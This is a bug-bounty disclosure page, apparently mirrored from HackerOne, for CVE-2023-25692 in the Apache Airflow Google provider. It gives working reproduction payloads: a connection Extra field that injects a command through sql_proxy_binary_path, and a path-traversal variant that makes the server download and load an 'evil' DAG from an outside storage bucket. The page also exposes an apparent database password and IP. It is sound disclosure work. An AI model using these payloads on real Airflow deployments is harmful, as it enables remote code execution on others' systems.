CVE-2023-25692: Apache Airflow Google Provider: Google Cloud Sql Provider Denial Of Service and Remote Command Execution
The Apache Airflow Google provider failed to properly validate the sql_proxy_version and sql_proxy_binary_path fields in a Cloud SQL connection's Extra configuration. An attacker who can edit connections could set these fields to execute arbitrary commands or write arbitrary files when a DAG using CloudSQLExecuteQueryOperator runs.
Originally disclosed on HackerOne
- Triaged in 3 hours
- Fixed in 10 days
- Paid in 10 days
- Disclosed after 40 days
Summary by the program
CVE-2023-25692: Apache Airflow Google Provider: Google Cloud Sql Provider Denial Of Service Severity: low
Description: Improper Input Validation vulnerability in the Apache Airflow Google Provider.
This issue affects Apache Airflow Google Provider versions before 8.10.0.
Credit: Xie Jianming of Caiji Sec Team (finder)
Full Security Advisory: https://lists.apache.org/thread/ks4l78l5rwdpmvfn7y7yhs179nyxtlsh
The report
0x01 Environment
- airflow 2.5.1
- apache-airflow-providers-google 8.8.0
- Build with docker compose
0x02 Reproduction Steps
2.1 Create a malicious Google Cloud SQL Database connection
Create the following Google Cloud SQL Database connection named aaa under the Admin->Connections menu.Among them, Host, Schema, Login, and Port are required, just fill in the content that conforms to the format.

The actual content filled in Extra field is as follows. Note that sql_proxy_version must be similar to ?a=, and the value of sql_proxy_binary_path is set to the command to be executed. Fill in 'whoami' here.
{
"project_id":"pivotal-gearing-375804",
"instance":"hellopg",
"location":"us-central1-b",
"database_type":"postgres",
"use_proxy":"True",
"use_ssl":"False",
"sql_proxy_use_tcp":"True",
"sql_proxy_version":"?a=",
"sql_proxy_binary_path":"whoami",
"sslcert":"",
"sslkey":"",
"sslrootcert":""
}
2.2 Use the CloudSQLExecuteQueryOperator operator in the DAG for verification
Create a google_test.py script that uses the CloudSQLExecuteQueryOperator operator, and put it in the /opt/airflow/dags directory in the background so that it can be automatically loaded by airflow. The content is as follows, where gcp_cloudsql_conn_id is set to the connection name we established above aaa
from __future__ import annotations
import os
import subprocess
from datetime import datetime
from os.path import expanduser
from urllib.parse import quote_plus
from airflow import models
from airflow.providers.google.cloud.operators.cloud_sql import CloudSQLExecuteQueryOperator
SQL = [
"CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)",
"CREATE TABLE IF NOT EXISTS TABLE_TEST (I INTEGER)", # shows warnings logged
"INSERT INTO TABLE_TEST VALUES (0)",
"CREATE TABLE IF NOT EXISTS TABLE_TEST2 (I INTEGER)",
"DROP TABLE TABLE_TEST",
"DROP TABLE TABLE_TEST2",
]
postgres_kwargs = dict(
user="postgres",
password=r"ktd2(%EzQ5",
public_port="5432",
public_ip="34.122.52.6",
project_id="pivotal-gearing-375804",
location="us-central1-b",
instance="hellopg",
database="postgres",
client_cert_file="key/postgres-client-cert.pem",
client_key_file=".key/postgres-client-key.pem",
server_ca_file=".key/postgres-server-ca.pem",
)
# Postgres: connect via proxy over TCP
os.environ["AIRFLOW_CONN_PROXY_POSTGRES_TCP"] = (
"gcpcloudsql://{user}:{password}@{public_ip}:{public_port}/{database}?"
"database_type=postgres&"
"project_id={project_id}&"
"location={location}&"
"instance={instance}&"
"use_proxy=True&"
"sql_proxy_use_tcp=True".format(**postgres_kwargs)
)
connection_names = [
"proxy_postgres_tcp",
]
with models.DAG(
dag_id="example_gcp_sql_query",
start_date=datetime(2021, 1, 1),
catchup=False,
tags=["example"],
) as dag:
prev_task = None
task = CloudSQLExecuteQueryOperator(
gcp_cloudsql_conn_id="aaa",gcp_conn_id="proxy_postgres_tcp",task_id="example_gcp_sql_task_proxy_postgres_tcp" , sql=SQL
)
# [END howto_operator_cloudsql_query_operators]
Enable the** example_gcp_sql_query** DAG corresponding to our google_test.py script in the UI management interface, and run. Click to view the running graph and logs through the Graph menu.

It can be seen from the log that the victim machine executed the malicious parameter 'whoami' we constructed.

2.3 Other methods for remote command execution through directory traversal
2.3.1 Construct Malicious DAG
Place our malicious dag via Google Cloud Starage at https://storage.googleapis.com/swordlight/load_my_evil_dag.py .The content is as follows:
from __future__ import annotations
import pendulum
from airflow import DAG
from airflow.decorators import task
from airflow.operators.bash import BashOperator
with DAG(
dag_id="load_my_evil_dag",
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
catchup=False,
schedule=None,
tags=["example"],
) as dag:
bash_task = BashOperator(
task_id="bash_task",
bash_command='mkdir /tmp/success'
)
The purpose of this script is to create the /tmp/success folder.
2.3.2 Modify our connection Extra attribute named aaa

Modify the content of the Extra field as follows:
{
"project_id":"pivotal-gearing-375804",
"instance":"hellopg",
"location":"us-central1-b",
"database_type":"postgres",
"use_proxy":"True",
"use_ssl":"False",
"sql_proxy_use_tcp":"True",
"sql_proxy_version":"../swordlight/load_my_evil_dag.py?a=",
"sql_proxy_binary_path":"/../../../opt/airflow/dags/load_my_evil_dag.py",
"sslcert":"",
"sslkey":"",
"sslrootcert":""
}
Run, and then check the operation log, you can see that the victim machine sends request to https://storage.googleapis.com/cloudsql-proxy/../swordlight/load_my_evil_dag.py?a=/cloud_sql_proxy.linux.amd64 (ie [https:/ /storage.googleapis.com/swordlight/load_my_evil_dag.py](https:/ /storage.googleapis.com/swordlight/load_my_evil_dag.py)) ,downloaded the load_my_evai_dag.py script and renamed it to /../../../opt/airflow/dags/load_my_evil_dag.py (i.e. /opt/airflow/dags /load_my_evil_dag.py)
You can also see the existence of the load_my_evil_dag.py file in /opt/airflow/dags of the woker terminal.


At the same time, through the DAGs list on the UI interface, we can also see that our DAG named load_my_evil_dag has been loaded successfully.

Enable and run load_my_evil_dag.After running, you can see that the /tmp/success folder is created successfully.
{F221353
Impact
When airflow does not enable authentication, the attacker can modify the existing connection configuration information, so that the DAG that uses CloudSQLExecuteQueryOperator in the system executes malicious commands or overwrites and creates arbitrary files(which will lead to Denial Of Service)at runtime.
Attachments



Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
When authentication is not enabled, an attacker could modify connection settings to make a DAG execute malicious commands or overwrite/create arbitrary files, leading to denial of service or remote command execution.
What the attacker needed
Airflow without authentication enabled; Ability to edit connection configuration; A DAG using CloudSQLExecuteQueryOperator
The fix
The issue affects Apache Airflow Google Provider versions before 8.10.0.
How it was found
- Create a Google Cloud SQL Database connection with a crafted Extra field containing a malicious sql_proxy_version and sql_proxy_binary_path.
- Create a DAG that uses CloudSQLExecuteQueryOperator with that connection and place it in the dags directory.
- Enable and run the DAG, then check the logs to see the command executed.
- Alternatively, set sql_proxy_version to a path traversal and sql_proxy_binary_path to a target file path to download and write a malicious DAG file.
- Run the downloaded DAG to execute its commands.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Apache Airflow is a tool for scheduling workflows, and its Google provider lets workflows talk to Google Cloud services. A connection's Extra field holds settings, and here two of those settings were not checked properly, so someone who can edit a connection could make the system run a command or write a file when the workflow runs.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.